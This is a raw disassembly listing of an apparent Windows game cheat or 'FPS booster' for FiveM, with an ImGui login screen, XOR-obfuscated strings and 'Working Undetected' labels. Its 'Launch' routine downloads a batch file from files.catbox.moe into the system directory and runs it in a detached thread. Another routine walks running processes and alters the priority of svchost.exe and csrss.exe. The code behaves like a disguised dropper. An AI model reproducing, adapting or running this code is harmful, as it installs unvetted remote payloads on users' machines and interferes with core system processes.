lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1405c4850]
movss xmm3, dword [rax + 0x18]
mulss xmm3, dword [0x1401a3168]
movss xmm2, dword [0x1405c36c8]
mov eax, dword [0x1405c4d04]
cmp dword [0x1405c4cfc], eax
jne 0x140048060
movaps xmm1, xmm13
jmp 0x140048063
movaps xmm1, xmm2
subss xmm1, dword [0x1405c4d08]
mulss xmm1, xmm3
addss xmm1, dword [0x1405c4d08]
movss dword [0x1405c4d08], xmm1
movzx ecx, byte [0x1405c4d00]
test cl, cl
je 0x14004808f
movaps xmm1, xmm2
jmp 0x140048093
movaps xmm1, xmm13
subss xmm1, dword [0x1405c4cf4]
mulss xmm1, xmm3
addss xmm1, dword [0x1405c4cf4]
movss dword [0x1405c4cf4], xmm1
movss xmm0, dword [0x1405c4d10]
ucomiss xmm0, xmm13
jp 0x1400480c8
jne 0x1400480c8
mov byte [0x1405c4d00], 1
jmp 0x1400480cc
test cl, cl
je 0x1400480e3
movaps xmm0, xmm2
subss xmm0, dword [0x1401a30e0]
comiss xmm1, xmm0
jb 0x1400480e3
mov byte [0x1405c4d00], 0
test eax, eax
jne 0x140048c4b
call fcn.1400168a0
mov rcx, qword [0x1405c4850]
mov rax, qword [rcx + 0x3ef8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef8]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm1, dword [0x1401a3174]
addss xmm0, dword [0x1401a31b0]
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
mov dword [rbp + 0xc0], 0x3f800000
mov dword [rbp + 0xc4], 0x3f800000
mov qword [rbp + 0x38], 0
mov dword [rbp + 0x40], 0x43480000
mov dword [rbp + 0x44], 0x43160000
lea r9, [rbp + 0xc0]
lea r8, [rbp + 0x38]
lea rdx, [rbp + 0x40]
mov rcx, qword [0x1405c4890]
call fcn.140039870
mov rcx, qword [0x1405c4850]
mov qword [rsp + 0x38], r13
mov r9d, 0x40
lea r8, [0x1405c48f0]
lea rdx, str.Username
mov rax, qword [rcx + 0x3ef8]
mov qword [rsp + 0x30], r13
mov byte [rax + 0xb8], 1
mov dword [rsp + 0x28], r13d
mov rax, qword [rcx + 0x3ef8]
movss xmm1, dword [rax + 0x24]
movss xmm0, dword [rax + 0x20]
lea rcx, [0x1401a2c84]
subss xmm1, dword [rax + 0x88]
subss xmm0, dword [rax + 0x84]
addss xmm1, dword [0x1401a31ac]
mov byte [rax + 0x141], 1
movss dword [rax + 0x104], xmm1
cmp byte [0x1405c4cf8], 0
jne 0x1400486b5
addss xmm0, dword [0x1401a31a8]
movss dword [rax + 0x100], xmm0
mov dword [rbp + 0x48], 0x43a00000
mov dword [rbp + 0x4c], 0x420c0000
lea rax, [rbp + 0x48]
mov qword [rsp + 0x20], rax
call fcn.14003d020
mov rcx, qword [0x1405c4850]
mov rax, qword [rcx + 0x3ef8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef8]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm1, dword [0x1401a31c0]
addss xmm0, dword [0x1401a31a8]
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
mov dword [rbp + 0x50], 0x43a00000
mov dword [rbp + 0x54], 0x420c0000
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x8000
lea rax, [rbp + 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
lea r8, [0x1405c48b0]
lea rdx, str.Password
lea rcx, [0x1401a2c94]
call fcn.14003d020
mov rcx, qword [0x1405c4850]
mov rax, qword [rcx + 0x3ef8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef8]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm1, dword [0x1401a31c8]
addss xmm0, dword [0x1401a31b8]
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
mov dword [rbp + 0x58], 0x43110000
mov dword [rbp + 0x5c], 0x42200000
lea rdx, [rbp + 0x58]
lea rcx, str.Submit
call fcn.140038010
test al, al
je 0x140048638
lea rax, [rbp - 0x60]
mov qword [rbp + 0x2120], rax
lea rdx, [0x1405c48b0]
lea rcx, [rbp - 0x60]
call fcn.140041d80
mov rbx, rax
lea rdx, [0x1405c48f0]
lea rcx, [rbp + 0x298]
call fcn.140041d80
nop
mov r8, rbx
mov rdx, rax
lea rcx, [0x1405c49e0]
call fcn.1400cb810
cmp byte [0x1405c4bf0], 0
jne 0x1400483c3
mov dword [0x1405c4cfc], esi
jmp 0x140048638
movsd xmm0, qword [0x1401a3070]
movsd qword [rbp - 0x80], xmm0
mov ecx, dword [0x1401a3078]
mov dword [rbp - 0x78], ecx
movzx eax, byte [0x1401a307c]
mov byte [rbp - 0x74], al
mov r8d, r13d
cmp r12d, 2
jl 0x140048536
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm3, xmmword [0x1401a3310]
pmulld xmm0, xmm3
movdqa xmm1, xmm15
psubd xmm1, xmm0
movdqa xmm2, xmmword [0x1401a3320]
andps xmm1, xmm2
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm4, xmmword [0x1401a3370]
paddb xmm1, xmm4
movd xmm0, dword [0x1401a3070]
xorps xmm1, xmm0
movd dword [rbp - 0x80], xmm1
movdqa xmm5, xmmword [0x1401a32f0]
movdqa xmm1, xmm5
punpckldq xmm1, xmm5
pmuldq xmm1, xmm14
movdqa xmm0, xmm5
punpckhdq xmm0, xmm5
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm3
movdqa xmm1, xmm5
psubd xmm1, xmm0
andps xmm1, xmm2
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm4
movd xmm0, dword [rbp - 0x7c]
xorps xmm1, xmm0
movd dword [rbp - 0x7c], xmm1
movdqa xmm5, xmmword [0x1401a3300]
movdqa xmm1, xmm5
punpckldq xmm1, xmm5
pmuldq xmm1, xmm14
movdqa xmm0, xmm5
punpckhdq xmm0, xmm5
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm3
movdqa xmm1, xmm5
psubd xmm1, xmm0
andps xmm1, xmm2
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm4
movd xmm0, ecx
xorps xmm1, xmm0
movd dword [rbp - 0x78], xmm1
mov r8d, ntohs
mov eax, r8d
lea r9, [rbp - 0x80]
add r9, rax
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140048540
movsd xmm0, qword [str.wafzd7]
movsd qword [rsp + 0x68], xmm0
mov eax, dword [0x1401a3018]
mov dword [rsp + 0x70], eax
cmp word [0x1401a301a], 0
je 0x1400485b9
mov eax, 0x45
mov word [rsp + 0x68], ax
xor word [rsp + 0x6a], 0x33
xor word [rsp + 0x6c], 0x34
xor word [rsp + 0x6e], 0x35
xor word [rsp + 0x70], 0x36
xor word [rsp + 0x72], 0x37
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
mov rsi, 0xffffffffffffffff
mov r9d, esi
lea r8, [rbp - 0x80]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov eax, 2
mul rbx
cmovb rax, rsi
mov rcx, rax
call fcn.1401596dc
mov rdi, rax
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, esi
lea r8, [rbp - 0x80]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov r9d, 0x50
lea r8, [rsp + 0x68]
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, rdi
call fcn.140159638
mov esi, 1
mov rcx, qword [0x1405c4850]
mov rax, qword [rcx + 0x3ef8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef8]
movss xmm1, dword [rax + 0x20]
subss xmm1, dword [rax + 0x84]
movss xmm0, dword [rax + 0x24]
subss xmm0, dword [rax + 0x88]
addss xmm1, dword [0x1401a31b4]
addss xmm0, dword [0x1401a31cc]
movss dword [rax + 0x100], xmm1
movss dword [rax + 0x104], xmm0
mov byte [rax + 0x141], 1
lea rcx, str.Dont_have_an_account_
call fcn.140039b30
test al, al
je 0x140049e0a
mov byte [0x1405c4cf8], 1
jmp 0x140049e0a
movss xmm6, dword [0x1401a31a8]
addss xmm0, xmm6
movss dword [rax + 0x100], xmm0
mov dword [rbp + 0x60], 0x43a00000
mov dword [rbp + 0x64], 0x420c0000
lea rax, [rbp + 0x60]
mov qword [rsp + 0x20], rax
call fcn.14003d020
mov rcx, qword [0x1405c4850]
mov rax, qword [rcx + 0x3ef8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef8]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm1, dword [0x1401a31c0]
addss xmm0, xmm6
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
mov dword [rbp + 0x68], 0x43a00000
mov dword [rbp + 0x6c], 0x420c0000
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x8000
lea rax, [rbp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
lea r8, [0x1405c48b0]
lea rdx, str.Password
lea rcx, [0x1401a2c94]
call fcn.14003d020
mov rcx, qword [0x1405c4850]
mov rax, qword [rcx + 0x3ef8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef8]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm1, dword [0x1401a31c8]
addss xmm0, xmm6
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
mov dword [rbp + 0x70], 0x43a00000
mov dword [rbp + 0x74], 0x420c0000
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
lea rax, [rbp + 0x70]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
lea r8, [0x1405c4940]
lea rdx, str.License
lea rcx, [0x1401a2cc0]
call fcn.14003d020
mov rcx, qword [0x1405c4850]
mov rax, qword [rcx + 0x3ef8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef8]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm1, dword [0x1401a31cc]
addss xmm0, dword [0x1401a31b8]
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
mov dword [rbp + 0x78], 0x43110000
mov dword [rbp + 0x7c], 0x42200000
lea rdx, [rbp + 0x78]
lea rcx, str.Submit
call fcn.140038010
test al, al
jne 0x140048bce
lea rax, [rbp + 0x298]
mov qword [rbp + 0x2120], rax
lea rdx, [0x1401963ba]
lea rcx, [rbp + 0x298]
call fcn.140041d80
mov rsi, rax
lea rax, [rbp + 0x510]
mov qword [rbp + 0x1e0], rax
lea rdx, [0x1405c4940]
lea rcx, [rbp + 0x510]
call fcn.140041d80
mov rdi, rax
lea rax, [rbp + 0x4d0]
mov qword [rbp + 0x270], rax
lea rdx, [0x1405c48b0]
lea rcx, [rbp + 0x4d0]
call fcn.140041d80
mov rbx, rax
lea rdx, [0x1405c48f0]
lea rcx, [rbp + 0x4f0]
call fcn.140041d80
nop
mov qword [rsp + 0x20], rsi
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [0x1405c49e0]
call fcn.1400cedf0
cmp byte [0x1405c4bf0], 0
je 0x14004895c
mov esi, 1
mov dword [0x1405c4cfc], esi
jmp 0x140048bce
movups xmm0, xmmword [str._BTZ_Q_]
movups xmmword [rbp + 0x1f4], xmm0
movsd xmm0, qword [0x1401a3000]
movsd qword [rbp + 0x204], xmm0
mov eax, dword [0x1401a3008]
mov dword [rbp + 0x20c], eax
cmp byte [0x1401a300b], 0
je 0x140048aff
mov r8d, r13d
cmp r12d, 2
jl 0x140048abd
movdqa xmm0, xmmword [0x1401a3370]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp + 0x1f4]
mov edx, dword [rbp - 0x60]
movdqa xmm4, xmmword [0x1401a3320]
movdqa xmm5, xmmword [0x1401a3310]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm15
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm14
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm3, xmm0
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400489d0
cmp r8d, 0x1c
jge 0x140048aff
movsxd rax, r8d
lea r9, [rbp + 0x1f4]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x140048ad0
movsd xmm0, qword [str.wafzd7]
movsd qword [rsp + 0x74], xmm0
mov eax, dword [0x1401a3018]
mov dword [rsp + 0x7c], eax
cmp word [0x1401a301a], 0
je 0x140048b49
mov eax, 0x45
mov word [rsp + 0x74], ax
xor word [rsp + 0x76], 0x33
xor word [rsp + 0x78], 0x34
xor word [rsp + 0x7a], 0x35
xor word [rsp + 0x7c], 0x36
xor word [rsp + 0x7e], 0x37
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
mov rsi, 0xffffffffffffffff
mov r9d, esi
lea r8, [rbp + 0x1f4]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov eax, 2
mul rbx
cmovb rax, rsi
mov rcx, rax
call fcn.1401596dc
mov rdi, rax
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, esi
lea r8, [rbp + 0x1f4]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov r9d, 0x50
lea r8, [rsp + 0x74]
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, rdi
call fcn.140159638
mov esi, 1
mov rcx, qword [0x1405c4850]
mov rax, qword [rcx + 0x3ef8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef8]
movss xmm1, dword [rax + 0x20]
subss xmm1, dword [rax + 0x84]
movss xmm0, dword [rax + 0x24]
subss xmm0, dword [rax + 0x88]
addss xmm1, dword [0x1401a31c4]
addss xmm0, dword [0x1401a31d4]
movss dword [rax + 0x100], xmm1
movss dword [rax + 0x104], xmm0
mov byte [rax + 0x141], 1
lea rcx, str.Back_to_Sing_In
call fcn.140039b30
test al, al
je 0x140049e0a
mov byte [0x1405c4cf8], 0
jmp 0x140049e0a
cmp eax, 1
jne 0x140049d19
movss xmm0, dword [rbx + 0x381c]
addss xmm0, xmm0
subss xmm2, xmm0
movss dword [rbp + 0x80], xmm2
mov dword [rbp + 0x84], 0x43d20000
xor r9d, r9d
lea rdx, [rbp + 0x80]
lea rcx, [0x1401966e8]
call fcn.14000c1e0
mov rcx, qword [0x1405c4930]
mov qword [rbp + 0x2120], rcx
mov rsi, qword [0x1405c4850]
mov rdi, rcx
test rcx, rcx
jne 0x140048ce6
mov rcx, qword [rsi + 0x68]
test rcx, rcx
jne 0x140048cdc
mov rdi, qword [rsi + 0x58]
cmp dword [rdi + 0x58], ecx
jg 0x140048cd5
mov r8d, 0x70d
lea rdx, str.C:UserszipDownloadsPANDORAPANDORAimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rdi + 0x60]
mov rcx, qword [rax]
mov qword [rbp + 0x2120], rcx
mov rdi, rcx
call fcn.140012820
lea rcx, [rsi + 0x4860]
lea rdx, [rbp + 0x2120]
call fcn.14001f840
mov rax, qword [rsi + 0x3ef8]
mov rdx, qword [rdi + 0x40]
mov rdx, qword [rdx + 8]
mov rcx, qword [rax + 0x298]
call fcn.140028db0
mov r8, qword [0x1405c4850]
movss xmm0, dword [0x1405c5000]
movss dword [rbp + 0x128], xmm0
movss xmm1, dword [0x1405c5004]
movss dword [rbp + 0x12c], xmm1
movss xmm0, dword [0x1405c5008]
movss dword [rbp + 0x130], xmm0
movss xmm6, dword [r8 + 0x37d0]
movaps xmm1, xmm6
mulss xmm1, dword [0x1405c500c]
movss dword [rbp + 0x134], xmm1
lea rcx, [rbp + 0x128]
call fcn.140004340
mov edi, eax
movss xmm0, dword [0x1405c50d0]
movss dword [rbp + 0x138], xmm0
movss xmm1, dword [0x1405c50d4]
movss dword [rbp + 0x13c], xmm1
movss xmm0, dword [0x1405c50d8]
movss dword [rbp + 0x140], xmm0
mulss xmm6, dword [0x1405c50dc]
movss dword [rbp + 0x144], xmm6
lea rcx, [rbp + 0x138]
call fcn.140004340
mov esi, eax
mov qword [rsp + 0x30], r13
lea rax, str.JESS__WEAPON_
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm8
movss xmm9, dword [0x1401a31f8]
movaps xmm3, xmm9
movss xmm2, dword [r8 + 0x3c20]
lea rdx, [rbp + 0x2128]
mov rcx, qword [r8 + 0x3c18]
call fcn.1400341f0
movss xmm0, dword [rbp + 0x2128]
addss xmm0, dword [0x1401a3108]
cvttss2si eax, xmm0
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rbp + 0x2128], xmm0
movss xmm6, dword [rbp + 0x212c]
movss xmm7, dword [0x1401a30dc]
mulss xmm6, xmm7
addss xmm6, dword [0x1401a318c]
mulss xmm6, xmm7
mov rax, qword [0x1405c4850]
mov qword [rsp + 0x30], r13
lea rcx, str.COBOOST__FPS_
mov qword [rsp + 0x28], rcx
movss dword [rsp + 0x20], xmm8
movaps xmm3, xmm9
movss xmm2, dword [rax + 0x3c20]
lea rdx, [rbp + 0x88]
mov rcx, qword [rax + 0x3c18]
call fcn.1400341f0
movss xmm0, dword [rbp + 0x88]
addss xmm0, dword [0x1401a3108]
cvttss2si eax, xmm0
movd xmm2, eax
cvtdq2ps xmm2, xmm2
movss dword [rbp + 0x88], xmm2
mov rcx, qword [0x1405c4850]
mov rax, qword [rcx + 0x3ef8]
movss xmm0, dword [rax + 0x20]
movss xmm1, dword [rax + 0x250]
subss xmm1, xmm0
cmp qword [rax + 0x1a8], 0
jne 0x140048ee0
cmp qword [rcx + 0x4b38], 0
je 0x140048eec
movss xmm1, dword [rax + 0x220]
subss xmm1, xmm0
subss xmm1, xmm2
movss xmm0, dword [rbx + 0x381c]
mulss xmm0, xmm7
addss xmm1, xmm0
addss xmm6, xmm11
addss xmm1, xmm12
mov r9d, edi
mov r8d, esi
unpcklps xmm1, xmm6
movq rdx, xmm1
lea rcx, str.COBOOST__FPS_
call fcn.140036df0
call fcn.140012950
mov rbx, qword [0x1405c4850]
mov dword [rbp - 0x60], 3
movups xmm0, xmmword [rbx + 0x38e8]
movups xmmword [rbp - 0x5c], xmm0
lea rcx, [rbx + 0x4840]
lea rdx, [rbp - 0x60]
call fcn.14001f5d0
movdqa xmm0, xmmword [0x1401a3410]
movups xmmword [rbx + 0x38e8], xmm0
mov rbx, qword [0x1405c4850]
mov dword [rbp - 0x60], 5
movups xmm0, xmmword [rbx + 0x3908]
movups xmmword [rbp - 0x5c], xmm0
lea rcx, [rbx + 0x4840]
lea rdx, [rbp - 0x60]
call fcn.14001f5d0
movdqa xmm0, xmmword [0x1401a3510]
movups xmmword [rbx + 0x3908], xmm0
mov rbx, qword [0x1405c4850]
lea rcx, [rbx + 0x4850]
movss xmm0, dword [rbx + 0x37fc]
mov dword [rbp + 0x210], 7
movss dword [rbp + 0x214], xmm0
lea rdx, [rbp + 0x210]
call fcn.14001f4e0
mov dword [rbx + 0x37fc], 0x41700000
mov rcx, qword [0x1405c4850]
mov rax, qword [rcx + 0x3ef8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef8]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm1, dword [0x1401a3174]
movss xmm9, dword [0x1401a3180]
addss xmm0, xmm9
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
mov dword [rbp + 0x90], 0x44160000
mov dword [rbp + 0x94], 0x435c0000
mov r9d, 8
lea rdx, [rbp + 0x90]
lea rcx, str.CMD___COBOOST__FPS_
call fcn.14000c1e0
movdqa xmm6, xmmword [0x1401a3450]
movups xmmword [rbp - 0x60], xmm6
lea rdx, str.Working___Undetected
lea rcx, [rbp - 0x60]
call fcn.1400377b0
movups xmmword [rbp - 0x60], xmm6
lea rdx, str.Last_Updated:_2024_06_09_22:37:20
lea rcx, [rbp - 0x60]
call fcn.1400377b0
movdqa xmm6, xmmword [0x1401a3440]
movups xmmword [rbp - 0x60], xmm6
lea rdx, str._Cmd_Fivem_and_Anti_Hitboxs.
lea rcx, [rbp - 0x60]
call fcn.1400377b0
mov rcx, qword [0x1405c4850]
mov rax, qword [rcx + 0x3ef8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef8]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
movss xmm7, dword [0x1401a315c]
addss xmm1, xmm7
movss xmm8, dword [0x1401a31d8]
addss xmm0, xmm8
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
mov dword [rbp + 0x98], 0x42f00000
mov dword [rbp + 0x9c], 0x42200000
lea rdx, [rbp + 0x98]
lea rcx, str.Launch
call fcn.140038010
test al, al
je 0x140049224
cmp byte [0x1405c4d01], 0
jne 0x140049224
mov byte [0x1405c4d01], 1
mov edx, 0x104
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea r8, str.0pmfkq.bat
mov edx, 0x104
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
mov ecx, 0x18
call fcn.1401592e4
lea rcx, [rbp + 0x2c0]
mov qword [rax], rcx
lea rcx, str.https:__files.catbox.moe_0pmfkq.bat
mov qword [rax + 8], rcx
lea rcx, [0x140046a90]
mov qword [rax + 0x10], rcx
mov qword [rbp + 0x2120], rax
lea rcx, [rbp + 0xb8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x14004aa80]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0xb0], rax
test rax, rax
je 0x14004a0a4
cmp dword [rbp + 0xb8], 0
je 0x14004a098
movaps xmm0, xmmword [rbp + 0xb0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp - 0x60]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14004a098
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xb0], xmm0
call fcn.14000c300
mov rcx, qword [0x1405c4850]
mov rax, qword [rcx + 0x3ef8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef8]
movss xmm1, dword [rax + 0x20]
subss xmm1, dword [rax + 0x84]
movss xmm0, dword [rax + 0x24]
subss xmm0, dword [rax + 0x88]
addss xmm1, xmm9
addss xmm0, dword [0x1401a31b8]
movss dword [rax + 0x100], xmm1
movss dword [rax + 0x104], xmm0
mov byte [rax + 0x141], 1
mov dword [rbp + 0xa0], 0x44160000
mov dword [rbp + 0xa4], 0x435c0000
mov r9d, 8
lea rdx, [rbp + 0xa0]
lea rcx, str.COBOOST___FiveM
call fcn.14000c1e0
movups xmmword [rbp - 0x60], xmm6
lea rdx, str._Clean_and_Task_Manager_and_End_task_All.
lea rcx, [rbp - 0x60]
call fcn.1400377b0
mov rcx, qword [0x1405c4850]
mov rax, qword [rcx + 0x3ef8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef8]
movss xmm1, dword [rax + 0x20]
subss xmm1, dword [rax + 0x84]
movss xmm0, dword [rax + 0x24]
subss xmm0, dword [rax + 0x88]
addss xmm1, xmm8
addss xmm0, xmm7
movss dword [rax + 0x100], xmm1
movss dword [rax + 0x104], xmm0
mov byte [rax + 0x141], 1
mov dword [rbp + 0xa8], 0x42f00000
mov dword [rbp + 0xac], 0x42200000
lea rdx, [rbp + 0xa8]
lea rcx, str.Launch
call fcn.140038010
test al, al
je 0x140049cf4
cmp byte [0x1405c4cf0], 0
jne 0x140049cf4
mov byte [0x1405c4cf0], 1
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140049427
mov dword [rbp + 0x530], 0x238
lea rdx, [rbp + 0x530]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14004941e
nop dword [rax]
lea rdx, [rbp + 0x55c]
mov rcx, r13
lea r8, str.svchost.exe
movzx eax, word [rdx + rcx*2]
cmp ax, word [r8 + rcx*2]
jne 0x140049406
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r8 + rcx*2 + 2]
jne 0x140049406
add rcx, 2
cmp rcx, 0xc
jne 0x1400493b1
mov r8d, dword [rbp + 0x538]
xor edx, edx
mov ecx, 0x200
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140049406
mov edx, 0x4000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x530]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400493a0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400494e3
mov dword [rbp + 0x770], 0x238
lea rdx, [rbp + 0x770]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400494da
nop
lea rdx, [rbp + 0x79c]
mov rcx, r13
lea r8, str.csrss.exe
movzx eax, word [rdx + rcx*2]
cmp ax, word [r8 + rcx*2]
jne 0x1400494c6
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r8 + rcx*2 + 2]
jne 0x1400494c6
add rcx, 2
cmp rcx, 0xa
jne 0x140049471
mov r8d, dword [rbp + 0x778]
xor edx, edx
mov ecx, 0x200
